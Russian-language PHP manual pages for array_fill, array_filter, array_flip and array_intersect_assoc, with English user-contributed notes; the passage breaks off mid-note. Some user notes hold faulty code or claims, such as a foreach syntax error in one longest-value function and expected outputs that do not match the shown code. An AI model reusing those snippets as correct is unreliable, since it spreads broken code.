  • Функции для работы с массивами
  • Заполняет массив значениями

array_fill

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_fill — Заполняет массив значениями

Описание

array_fill(int $start_index, int $count, mixed $value): array

Заполняет массив заданным в параметре count количеством записей значения value, начиная индексацию с ключа start_index.

Список параметров

start_index

Первый индекс возвращаемого массива.

Если начальный ключ start_index будет отрицательным, первым индексом возвращаемого массива будет значение этого отрицательного ключа (start_index), а следующие индексы будут начинаться с нуля до PHP 8.0.0; начиная с PHP 8.0.0 отрицательные ключи увеличиваются нормально (смотрите пример).

count

Количество добавляемых элементов. Должно быть больше или равно нулю и меньше или равно 2 147 483 647.

value

Значение для заполнения.

Возвращаемые значения

Возвращает заполненный массив.

Ошибки

Выбрасывает исключение ValueError, если параметр count выходит за пределы диапазона.

Список изменений

Версия | Описание
8.0.0 | Функция array_fill() теперь выбрасывает исключение ValueError, если параметр count выходит за пределы диапазона; ранее выдавалась ошибка уровня E_WARNING, а функция возвращала значение false.

Примеры

Пример #1 Пример использования функции array_fill()

<?php

$a = array_fill(5, 6, 'банан');
print_r($a);
?>

Результат выполнения приведённого примера:

Array
(
    [5]  => банан
    [6]  => банан
    [7]  => банан
    [8]  => банан
    [9]  => банан
    [10] => банан
)

Пример #2 Пример использования функции array_fill() с отрицательным начальным индексом

<?php

$a = array_fill(-2, 4, 'груша');
print_r($a);
?>

Результат выполнения приведённого примера в PHP 7:

Array
(
    [-2] => груша
    [0] => груша
    [1] => груша
    [2] => груша
)

Результат выполнения приведённого примера в PHP 8:

Array
(
    [-2] => груша
    [-1] => груша
    [0] => груша
    [1] => груша
)

Обратите внимание, вывод до PHP 8.0.0 не содержит индекс -1.

Примечания

Подробное описание отрицательных ключей дано в разделе «Массивы».

Смотрите также

  • array_fill_keys() - Создаёт массив и заполняет его значениями с определёнными ключами
  • str_repeat() - Возвращает повторяющуюся строку
  • range() - Создаёт массив, содержащий диапазон элементов

User Contributed Notes

user at NOSPAM dot example dot com 30-Jun-2021 04:28
As of PHP 8.0 the example code

<?php
$b = array_fill(-2, 4, 'pear');
print_r($b);
?>

now returns

Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)

See https://wiki.php.net/rfc/negative_array_index and https://github.com/php/php-src/pull/3772
Hayley Watson 13-Jan-2018 11:57
Fill missing keys in a (numerically-indexed) array with a default value

<?php

function fill_missing_keys($array, $default = null, $atleast = 0)
{
    return $array + array_fill(0, max($atleast, max(array_keys($array))), $default);
}

?>
anatoliy at ukhvanovy dot name 16-Jun-2014 10:00
If you need negative indices:
<?php
$b = array_fill(-2, 4, 'pear');//this is not what we want
$c = array_fill_keys(range(-2,1),'pear');//these are negative indices
print_r($b);
print_r($c);
?>
Here is result of the code above:
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)
Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)
mchljnk at NOSPAM dot gmail dot com 10-Nov-2013 03:07
Using objects with array_fill may cause unexpected results. Consider the following:

<?php
class Foo {
   public $bar = "banana";
}

//fill an array with objects
$array = array_fill(0, 2, new Foo());

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
} */

//now we change the attribute of the object stored in index 0
//this actually changes the attribute for EACH object in the ENTIRE array
$array[0]->bar = "apple";

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
}
 */
?>

Objects are filled in the array BY REFERENCE. They are not copied for each element in the array.
miguelxpain at gmail dot com 24-Feb-2012 06:04
I made this function named "array_getMax" that returns te maximum value and index, from array:

<?php
//using array_search_all by helenadeus at gmail dot com

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

function array_getMax($array){

    $conteo=array_count_values($array);

    if( count($conteo)==1 ){//returns full array when all values are the same.
        return  $array;
    }

    arsort($array);

    //$antValue=null;
    $maxValue=null;
    $keyValue=null;
    foreach($array as $key=>$value){
        if($maxValue==null){
            $maxValue=$value;
            $keyValue=$key;
            break;
        }
    }

    $resultSearch=array_search_all($maxValue, $array);

   return  array_fill_keys($resultSearch, $maxValue);

}

//example
  $arreglo=array('e1'=>99,'e2'=>'99','e3'=>1,'e4'=>1,'e5'=>98);

    var_dump(array_getMax($arreglo));

//output
/*
array(2) {
  ["e1"]=>
  int(99)
  ["e2"]=>
  int(99)
}
*/
?>

I hope some one find this usefull
csst0266 at cs dot uoi dot gr 11-Aug-2004 10:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
25-Aug-2002 01:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
  $indexmax = -1;
  for (end($array); $key = key($array); prev($array)) {
    if ($key > $indexmax)
      $indexmax = $key;
  }
  for ($i = 0; $i <= $indexmax; $i++) {
    if (!isset($array[$i]))
      $array[$i] = $fill;
  }
  ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.


Фильтрует элементы массива с помощью callback-функции

  • « array_fill
  • array_flip »
  • PHP Manual
  • Функции для работы с массивами
  • Фильтрует элементы массива с помощью callback-функции

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

array_filter — Фильтрует элементы массива с помощью callback-функции

Описание

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

Обходит каждое значение массива array, передавая его в callback-функцию. Если callback-функция возвращает true, данное значение из array возвращается в результирующий array.

Ключи массива сохраняются и могут привести к пропускам, если array был проиндексирован. Результат массива (array) можно переиндексировать с помощью функции array_values().

Список параметров

array

Итерируемый массив

callback

Используемая callback-функция

Если callback-функция не передана, все пустые значения массива array будут удалены. Смотрите empty(), чтобы узнать, как PHP определяет пустое значение в этом случае.

mode

Флаг, определяющий, какие аргументы передавать в callback:

  • ARRAY_FILTER_USE_KEY - передавать только ключ массива как аргумент для callback вместо значения
  • ARRAY_FILTER_USE_BOTH - передавать и ключ, и значение в callback вместо только значения
По умолчанию 0, что означает, что в callback-функцию будет передаваться только значение в качестве единственного аргумента.

Возвращаемые значения

Возвращает отфильтрованный массив.

Список изменений

Версия | Описание
8.0.0 | callback теперь допускает значение null.
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Пример использования array_filter()

<?php
function odd($var)
{
// является ли переданное число нечётным
return $var & 1;
}

function even($var)
{
// является ли переданное число чётным
return !($var & 1);
}

$array1 = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5];
$array2 = [6, 7, 8, 9, 10, 11, 12];

echo "Нечётные:\n";
print_r(array_filter($array1, "odd"));
echo "Чётные:\n";
print_r(array_filter($array2, "even"));
?>

Результат выполнения приведённого примера:

Нечётные:
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Чётные:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

Пример #2 Использование array_filter() без callback-функции

<?php

$entry = [
0 => 'foo',
1 => false,
2 => -1,
3 => null,
4 => '',
5 => '0',
6 => 0,
];

print_r(array_filter($entry));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => foo
    [2] => -1
)

Пример #3 array_filter() с указанным mode

<?php

$arr = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];

var_dump(array_filter($arr, function($k) {
return $k == 'b';
}, ARRAY_FILTER_USE_KEY));

var_dump(array_filter($arr, function($v, $k) {
return $k == 'b' || $v == 4;
}, ARRAY_FILTER_USE_BOTH));
?>

Результат выполнения приведённого примера:

array(1) {
  ["b"]=>
  int(2)
}
array(2) {
  ["b"]=>
  int(2)
  ["d"]=>
  int(4)
}

Примечания

Предостережение

Если callback-функция изменяет массив (например, добавляет или удаляет элементы), поведение этой функции неопределённо.

Смотрите также

  • array_intersect() - Вычисляет пересечение массивов
  • array_map() - Применяет callback-функцию ко всем элементам указанных массивов
  • array_reduce() - Итеративно уменьшает массив к единственному значению, используя callback-функцию
  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива

User Contributed Notes

Hayley Watson 25-Jul-2023 06:20
The fact that array_filter preserves keys makes partitioning an array into [elements that pass the test, elements that fail the test] quite easy. In essence:

<?php
function partition($array, $test)
{
    $pass = array_filter($array, $test);
    $fail = array_diff_key($array, $pass);
    return [false => $fail, true => $pass];
}
?>

The array_diff_key call is key; indexing the returned array as shown allows lines like "$failures = $partition[false];" to do the right thing (the booleans get converted to integers of course, but it's consistent and self-documenting).
Merlindog 27-Jun-2023 02:43
It is clearly documented above, but make sure you never forget that when ARRAY_FILTER_USE_BOTH is set, the callback argument order is value, key - NOT key, value. You'll save some time.
Niko E 14-Sep-2022 03:24
Note that a filtered array no longer encodes to json arrays, as the indices are no longer continuous:

$a = ['a', 'b', 'c'];
var_dump(json_encode($a)); //  ["a","b","c"]
$a = array_filter($a, function ($x) { return $x == 'b'; });
var_dump(json_encode($a)); // {"1": "b"}

you can use array_values get a continuous array

var_dump(json_encode(array_values($a))); // ["b"]
justinphiggs at gmail dot com 03-Jul-2022 08:51
Check if all elements in array are not empty/null/falsy.
------------------------------
Supposing you have a one dimensional array...

<?php
  $spicy_numbers = [69, 420, ?];
?>

And you want to easily check that all elements in said array are not null/empty/any falsy value, instead of running a loop over each element, you can pass the array to <?php array_filter() ?>, with no callback function, and then check if the returned array is the same size as the original, since <?php array_filter() ?> strips out all non-truthy values including 0 when no callback is provided.

Example:
<?php
  $spicy_numbers = [69, 420, '']; // Phi is gone!

  if ( count( array_filter( $spicy_numbers ) ) !== count( $spicy_numbers ) ) {
    // One of the elements is empty/null/falsy.
  } else {
    // All elements present and truthy.
  }
?>

As a neat little function, you could do this:
<?php
  /**
   * Checks if all of given array's elements have a non-falsy value.
   * Use-case: If all items in array are set and have a value (truthy, of course), then do X; else, do Y.
   *
   * @param array $arr
   * @return bool
   */
  function is_array_full( $arr ) {
    $array_count    = count( $arr );
    $filtered_count = count( array_filter( $arr ) );

    return ( $array_count === $filtered_count ) ? true : false;
  }
?>
TechNyquist 13-May-2022 06:36
Keep in mind that, as of PHP 7.4 and above, you can use arrow functions to as argument.
So for example if you want to leave values bigger than 10:

<?php
    $arr = array_filter($numbers, fn($n) => $n > 10);
?>

also, combine with key-flag to cut certain keys:

<?php
    $arr = array_filter($entries, fn($key) => !in_array($key, ['key1', 'key5']), ARRAY_FILTER_USE_KEY);
?>

and so on.
ASchmidt at Anamera dot net 08-Sep-2021 05:24
Depending on the intended meanings of your "empty" array values, e.g., null and empty string, vs. an integer 0 or a boolean false, be mindful of the result of different filters.

<?php
declare(strict_types=1);

$array = array( 'null' => null, 'nullstring' => '',  'intzero' => 0,  'stringzero' => '0', 'false' => false, 'stringfalse' => 'false', );

// Removes null, null-string -- but also FALSE!
$filtered1 = array_filter( $array, 'strlen' );

// Removes only null.
$filtered2 = array_filter( $array, function( $v ) { return !is_null( $v ); } );

// Removes null and null-string. Keeps FALSE and 0.
$filtered3 = array_filter( $array, function( $v ) { return !( is_null( $v) or '' === $v ); } );

var_dump( $array, $filtered1, $filtered2, $filtered3 );
?>

Results in:

array (size=3)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'stringfalse' => string 'false' (length=5)

array (size=5)
  'nullstring' => string '' (length=0)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'false' => boolean false
  'stringfalse' => string 'false' (length=5)

array (size=4)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'false' => boolean false
  'stringfalse' => string 'false' (length=5)
nicolaj dot knudsen at gmail dot com 05-Apr-2017 12:05
If you like me have some trouble understanding example #1 due to the bitwise operator (&) used, here is an explanation.

The part in question is this callback function:

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}
?>

If given an integer this function returns the integer 1 if $var is odd and the integer 0 if $var is even.
The single ampersand, &, is the bitwise AND operator. The way it works is that it takes the binary representation of the two arguments and compare them bit for bit using AND. If $var = 45, then since 45 in binary is 101101 the operation looks like this:

45 in binary: 101101
1 in binary:  000001
              ------
result:       000001

Only if the last bit in the binary representation of $var is changed to zero (meaning that the value is even) will the result change to 000000, which is the representation of zero.
marc dot gray at gmail dot com 29-Apr-2014 10:44
My favourite use of this function is converting a string to an array, trimming each line and removing empty lines:

<?php
$array = array_filter(array_map('trim', explode("\n", $string)), 'strlen');
?>

Although it states clearly that array keys are preserved, it's important to note this includes numerically indexed arrays. You can't use a for loop on $array above without processing it through array_values() first.
Anonymous 13-Jan-2013 05:52
If you want a quick way to remove NULL, FALSE and Empty Strings (""), but leave values of 0 (zero), you can use the standard php function strlen as the callback function:
eg:
<?php

// removes all NULL, FALSE and Empty Strings but leaves 0 (zero) values
$result = array_filter( $array, 'strlen' );

?>
marc dot vanwoerkom at fernuni-hagen dot de 05-Jul-2004 08:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.


Меняет местами ключи с их значениями в массиве

  • « array_filter
  • array_intersect_assoc »
  • PHP Manual
  • Функции для работы с массивами
  • Меняет местами ключи с их значениями в массиве

array_flip

(PHP 4, PHP 5, PHP 7, PHP 8)

array_flip — Меняет местами ключи с их значениями в массиве

Описание

array_flip(array $array): array

Функция array_flip() возвращает массив (array) наоборот, то есть ключи массива array становятся значениями, а значения массива array становятся ключами.

Обратите внимание, что значения массива array должны быть корректными ключами, то есть они должны иметь тип int или string. Если значение имеет неверный тип, будет выдано предупреждение и данная пара ключ/значение не будет включена в результат.

Если значение встречается несколько раз, для обработки будет использоваться последний встреченный ключ, а все остальные будут потеряны.

Список параметров

array

Массив переворачиваемых пар ключ/значение.

Возвращаемые значения

Возвращает перевёрнутый массив.

Примеры

Пример #1 Пример использования array_flip()

<?php
$input = array("oranges", "apples", "pears");
$flipped = array_flip($input);

print_r($flipped);
?>

Результат выполнения приведённого примера:

Array
(
    [oranges] => 0
    [apples] => 1
    [pears] => 2
)

Пример #2 Пример использования array_flip() с коллизиями

<?php
$input = array("a" => 1, "b" => 1, "c" => 2);
$flipped = array_flip($input);

print_r($flipped);
?>

Результат выполнения приведённого примера:

Array
(
    [1] => b
    [2] => c
)

Смотрите также

  • array_values() - Возвращает все значения массива
  • array_keys() - Возвращает все или некоторое подмножество ключей массива
  • array_reverse() - Возвращает массив с элементами в обратном порядке

User Contributed Notes

mmulej at gmail dot com 21-Oct-2021 01:05
If you don't want to lose duplicates, and you're ok, with having the values in the flipped array in an array as well, you may use this:

PHP 7.4 - ^8

<?php

function array_flip_safe(array $array) : array
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        $carry[$array[$key]] ??= [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>

PHP 7.0 - ^7.3 (Time to upgrade to PHP 8 ^^)

<?php

function array_flip_safe(array $array) : array
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        $carry[$array[$key]] = $carry[$array[$key]] ?? [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>

PHP 5.4 - ^5.6 (Just don't)

<?php

function array_flip_safe(array $array)
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        if (!isset($carry[$array[$key]])
                $carry[$array[$key]] = [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>
Ahammar Yassine 11-Oct-2018 06:03
<?php

$arr = array('one' => ['four' => 4], 'two' => '2', 'three' => '3');
var_dump($arr);

$arr2 = array_flip($arr);
var_dump($arr2);

?>

The above example will output:

array(3) {
  ["one"]=>
  array(1) {
    ["four"]=>
    int(4)
  }
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}

Warning: array_flip(): Can only flip STRING and INTEGER values! in /root/test.php on line 4
array(2) {
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}
dash 08-Oct-2018 03:27
Notice : array_flip can turn string into integer
Hayley Watson 30-Oct-2017 03:19
Don't use this function for filtering or searching an array - PHP already has functions for exactly those purposes. If nothing else, array_flip will trash the array's elements if they're anything other than integers or non-decimal-integer strings.
Bob Ray 03-Mar-2017 04:22
array_flip will remove duplicate values in the original array when you flip either an associative or numeric array. As you might expect it's the earlier of two duplicates that is lost:

<?php
    $a = array('one', 'two', 'one');
    print_r($a);

    $b = array_flip($a);
    print_r($b);
?>

Result:

array(3) {
  [0]  => string(3) "one"
  [1]  =>  string(3) "two"
  [2]  =>  string(3) "one"
}

array(2) {
  'one' => int(2)
  'two' => int(1)
}

This may be good or bad, depending on what you want, but no error is thrown.
info at sabastore dot net 27-Apr-2016 08:57
note :: array_flip is a changer for key and value and a auto unique like array_unique :

<?php
/*
sabastore
 */
$intArray1 = array(-4,1,1,3);
print_r($intArray1);
$intArray1 = array_flip($intArray1);
print_r($intArray1);
?>
Prabhas Gupte 27-Jan-2015 06:48
array_flip() does not retain the data type of values, when converting them into keys. :(

<?php
$arr = array('one' => '1', 'two' => '2', 'three' => '3');
var_dump($arr);
$arr2 = array_flip($arr);
var_dump($arr2);
?>

This code outputs this:
array(3) {
  ["one"]=>
  string(1) "1"
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}
array(3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

It is valid expectation that string values "1", "2" and "3" would become string keys "1", "2" and "3".
grimdestripador at hotmail dot com 25-Feb-2014 12:06
<?php
function array_flip_into_subarray($input){
$output = array();
foreach ($input as $key=>$values){
    foreach ($values as $value){
        $output[$value][] = $key;
    }
}
return $output;
}
Tony H 29-Apr-2013 02:59
This function is useful when parsing a CSV file with a heading column, but the columns might vary in order or presence:

<?php

$f = fopen("file.csv", "r");

/* Take the first line (the header) into an array, then flip it
so that the keys are the column name, and values are the
column index. */
$cols = array_flip(fgetcsv($f));

while ($line = fgetcsv($f))
{
    // Now we can reference CSV columns like so:
    $status = $line[$cols['OrderStatus']];
}

?>

I find this better than referencing the numerical array index.
Anonymous 05-Apr-2012 10:17
Similarly, if you want the last value without affecting the pointer, you can do:

<?php

$array = array("one","two","three");

echo next($array); // "two"

$last = array_pop(array_keys(array_flip($array)));

echo $last;  // "three"

echo current($array); // "two"

?>
kjensen at iaff106 dot com 06-Jan-2012 10:23
I needed a way to flip a multidimensional array and came up with this function to accomplish the task.  I hope it helps someone else.

<?php
function multi_array_flip($arrayIn, $DesiredKey, $DesiredKey2=false, $OrigKeyName=false) {
$ArrayOut=array();
foreach ($arrayIn as $Key=>$Value)
    {
        // If there is an original key that need to be preserved as data in the new array then do that if requested ($OrigKeyName=true)
        if ($OrigKeyName) $Value[$OrigKeyName]=$Key;
        // Require a string value in the data part of the array that is keyed to $DesiredKey
        if (!is_string($Value[$DesiredKey])) return false;

        // If $DesiredKey2 was specified then assume a multidimensional array is desired and build it
        if (is_string($DesiredKey2))
        {
            // Require a string value in the data part of the array that is keyed to $DesiredKey2
            if (!is_string($Value[$DesiredKey2])) return false;

            // Build NEW multidimensional array
            $ArrayOut[$Value[$DesiredKey]][$Value[$DesiredKey2]]=$Value;
        }

            // Build NEW single dimention array
        else $ArrayOut[$Value[$DesiredKey]][]=$Value;
    }
return $ArrayOut;
}//end multi_array_flip
?>
Final 16-Dec-2011 04:16
I find this function vey useful when you have a big array and you want to know if a given value is in the array. in_array in fact becomes quite slow in such a case, but you can flip the big array and then use isset to obtain the same result in a much faster way.
h3x 12-Sep-2010 01:11
this function can be used to remove null elements form an array:

<?php
$ar = array(null,'1','2',null,'3',null);
print_r($ar);
/*
result:
Array
(
    [0] =>
    [1] => 1
    [2] => 2
    [3] =>
    [4] => 3
    [5] =>
)
*/

print_r(array_flip(array_flip($ar)));
/*
result:
Array
(
    [1] => 1
    [2] => 2
    [4] => 3
)
*/
?>
Hayley Watson 20-Mar-2009 02:22
Finding the longest string in an array?

<?php
function longest_string_in_array($array)
{
    $mapping = array_combine($array, array_map('strlen', $array));
    return array_keys($mapping, max($mapping));
}
?>

Differences are obvious: returns an array of [i]all[/i] of the longest strings, instead of just picking one arbitrarily. Doesn't do the stripslashing or magic stuff because that's another job for for another function.
dan at aoindustries dot com 07-Mar-2009 12:48
From an algorithmic efficiency standpoint, building an entire array of lengths to then sort to only retrieve the longest value is unnecessary work.  The following should be O(n) instead of O(n log n).  It could also be:

<?php
function get_longest_value($array) {
    // Some don't like to initialize, I do
    $longest = NULL;
    $longestLen = -1;
    foreach ($array $value) {
        $len = strlen($value);
        if($len>$longestLen) {
            $longest = $value;
            $longestLen = $len;
        }
    }
    $longest = str_replace("\r\n", "\n", $longest);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
corz at corz dot org 08-Dec-2008 01:36
<?php
/*
    Fun function to return the longest physical *value* from an array.

    Culled from a small script designed to capture the longest $_POST variable,
    usually the textarea, which would then be dumped to a "emergency post dump file".

    corz at corz dot org
*/

$array = array("input" => "submit", "textarea" => "Some long spiel of text\r\na textarea, probably",
                        "another-input" => "make me longer", "and" => "another", "etc" => "etc.");

echo '<!DOCTYPE HTML SYSTEM><html><head><title>long</title></head><body><pre>Longest value: ',
                                            get_longest_value($array),'</pre></body></html>';

function get_longest_value($array) {
    foreach ($array as $key => $value) {
        $lengths[$key] = strlen($value);
    }
    asort($lengths);
    $lengths = array_flip($lengths);
    $longest = str_replace("\r\n", "\n", $array[array_pop($lengths)]);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
pinkgothic at gmail dot com 26-Apr-2007 01:37
In case anyone is wondering how array_flip() treats empty arrays:

<?php
print_r(array_flip(array()));
?>

results in:

Array
(
)

I wanted to know if it would return false and/or even chuck out an error if there were no key-value pairs to flip, despite being non-intuitive if that were the case. But (of course) everything works as expected. Just a head's up for the paranoid.
snaury at narod dot ru 23-Nov-2004 11:21
When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 3
    [5] => 2
    [6] => 1
    [7] => 1
    [8] => 3
    [9] => 3

After flipping will become:
(first seen value -> first key)

    [1] => 7
    [2] => 5
    [3] => 9

And not anything like this:
(last seen value -> last key)

    [2] => 5
    [1] => 7
    [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

    [2] => 5
    [1] => 7
    [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com 05-Aug-2003 02:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

Array
(
    [0] => Array
        (
            [0] => 11
            [1] => 13
        )
?>

)


Вычисляет пересечение массивов с дополнительной проверкой индекса

  • « array_flip
  • array_intersect_key »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов с дополнительной проверкой индекса

array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

array_intersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индекса

Описание

array_intersect_assoc(array $array, array ...$arrays): array

Функция array_intersect_assoc() возвращает массив, который содержит те значения массива array, которые содержатся в каждом аргументе. Обратите внимание, эта функция, в отличие от функции array_intersect(), также сравнивает и ключи.

Список параметров

array

Основной проверяемый массив.

arrays

Массивы, с которыми идёт сравнение.

Возвращаемые значения

Функция возвращает ассоциативный массив, который содержит те значения массива array, которые содержатся в каждом аргументе.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования функции array_intersect_assoc()

<?php

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "b" => "yellow", "blue", "red");
$result_array = array_intersect_assoc($array1, $array2);
print_r($result_array);

?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
)

В примере видно, что только пара "a" => "green", содержится в обоих массивах и поэтому возвращается. Значение "red" не возвращается, потому что в массиве $array1 ключ значения — 0, тогда как ключ значения "red" в массиве $array2 — 1. Ключ "b" не возвращается, потому что значения ключа различны в каждом массиве.

Два значения пар key => value признаются равными, только если выражение (string) $elem1 === (string) $elem2 истинно. Другими словами, выполняется строгая проверка типа, поэтому требуется, чтобы строковое представление было идентичным.

Смотрите также

  • array_intersect() - Вычисляет пересечение массивов
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции
  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса

User Contributed Notes

Jim Yaghi 23-May-2017 06:25
Remember, null values will be interpreted as, "key does not exist." eg,

$a = ['apples' => 1, 'oranges' => 2, 'turtles' => null, 'bananas'=>4];
$b = ['apples'=>10, 'turtles' => 11, 'eggs'=>12];
$c = array_intersect_assoc($b,$a);

You might have expected $c to contain:

['oranges' => 10, 'turtles' => 11]

In fact, 'turtles' has a null value in the $a array, therefore the $c array contains only:

['oranges' => 10]

Something to keep in mind if using array_intersect_assoc to filter valid entries, eg in a mySQL insertion pre-processing or nerdy API that doesn't like extra params.
Whitend 04-Aug-2012 08:08
One of the ways to get intersection of two arrays is as follows:

<?php
function arrayIntersect( $primary_array, $secondary_array ) {

    if ( !is_array( $primary_array ) || !is_array( $secondary_array ) ) {
        return false;
    }

    if ( !empty( $primary_array ) ) {

        foreach( $primary_array as $key => $value ) {

            if ( !isset( $secondary_array[$key] ) ) {
                unset( $primary_array[$key] );
            } else {
                if ( serialize( $secondary_array[$key] ) != serialize( $value ) ) {
                    unset( $primary_array[$key] );
                }
            }

        }

        return $primary_array;

    } else {
        return array();
    }

}
?>

It would pay attention to both keys and values even if values would be arrays as well. One important note is that if value of $primary_array is yet another array, its order of key & value pairs becomes important for matching.
StR: str at strgt dot cjb dot net 13-Oct-2005 05:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
    if (isset($b[$key]))
      $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu 14-Dec-2004 11:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

    $args = func_get_args();
    $res = $args[0];

    for ($i=1;$i<count($args);$i++) {
        if (!is_array($args[$i])) {continue;}

        foreach ($res as $key => $data) {
            if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
                unset($res[$key]);
            }
        }
    }

    return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
    0 =>
        (
            a => green
            b => brown
            c => yellow
        )

    1 =>
        (
            a => green
            b => brown
            c => yellow
            e => yellow
        )

    2 =>
        (
            a => green
            b => brown
            c => blue
            0 => red
        )

    3 =>
        (
